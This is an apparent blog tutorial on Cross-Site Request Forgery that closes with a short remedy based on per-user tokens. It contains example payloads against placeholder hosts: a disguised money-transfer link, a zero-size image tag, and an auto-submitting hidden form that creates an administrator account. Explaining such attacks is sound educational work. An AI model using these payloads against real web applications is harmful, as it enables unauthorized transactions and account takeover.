What is CSRF Attack?
Cross-Site Request Forgery (CSRF) is an attack that forces
an end user to execute unwanted actions on a web application in which they're
currently authenticated. A malicious request is sent to a web application that
a user is already authenticated against from a different website. This way an
attacker can access functionality in a target web application via the victim's
already authenticated browser. Targets include web applications like social
media, in browser email clients, online banking, and web interfaces for network
device
Basically, an attacker will use CSRF to trick a victim into
accessing a website (planting an exploit URL or script on pages that are likely
to be visited by the victim while using the web application) or clicking a URL
link that contains malicious or unauthorized requests (sending an unsolicited
email with HTML content).
It is called ‘malicious’ since the CSRF attack will use the
identity and privileges of the victim and impersonate them in order to perform
any actions desired by the attacker, such as change form submission details,
and launch purchases or payments for the attacker or a third-party account.
CSRF Attack using GET
Request
Consider a bank application which uses GET requests to
transfer money.
If the application was designed to primarily use GET
requests to transfer parameters and execute actions, the money transfer
operation might be reduced to a request like (transfer 100Rs to User1):
GET http://bank.com/transfer.do?acct=User1&amount=100
HTTP/1.1
Now, an exploit URL could be built using the original URL as
(Transfer 100000Rs to User2):
http://bank.com/transfer.do?acct=User2&amount=100000
Now, attacker disguises the exploit URL as an ordinary link,
encouraging the victim to click it like:
<a href=" http://bank.com/transfer.do?acct=User2&amount=100000">View
my Pictures!</a>
Or as a 0x0 fake image:
<img src=" http://bank.com/transfer.do?acct=User2&amount=100000"
width="0" height="0" border="0">
If this image tag were included in the email, attacker
wouldn’t see anything. However, the browser will still submit the request to
bank.com without any visual indication that the transfer has taken place
CSRF Attack using POST
Request
The only difference between GET and POST attacks is how the
attack is being executed by the victim. POST Requests can be attacked using
<form> tags, as it needs proper input fields for accepting the request.
Suppose an attacker wants to login to a web application and
he is unaware of any credentials. He can create a user by himself by knowing
the details of the web page.
Here is how attacker can write a POST request to create a
user.
<form
action="http://host:port/security/createUser.jsp?action=create"
method="POST">
<input
type="hidden" name="submit"
value="  Save  " />
<input
type="hidden" name="name" value="hacker" />
<input
type="hidden" name="role" value="Administrator"
/>
<input
type="hidden" name="password" value="test123"
/>
<input
type="hidden" name="confirmPassword"
value="test123" />
<input
type="hidden" name="action" value="create" />
<input
type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
This form will require the user to click on the submit
button, but this can be also executed automatically using JavaScript:
<body onload="document.forms[0].submit()">
Remedy for CSRF vulnarability
The easiest way to check whether an application is vulnerable is to see if each link and form contains an unpredictable token for each user. Without such an unpredictable token, attackers can forge malicious requests. Focus on the links and forms that invoke state-changing functions, since those are the most important CSRF targets
No comments:
Post a Comment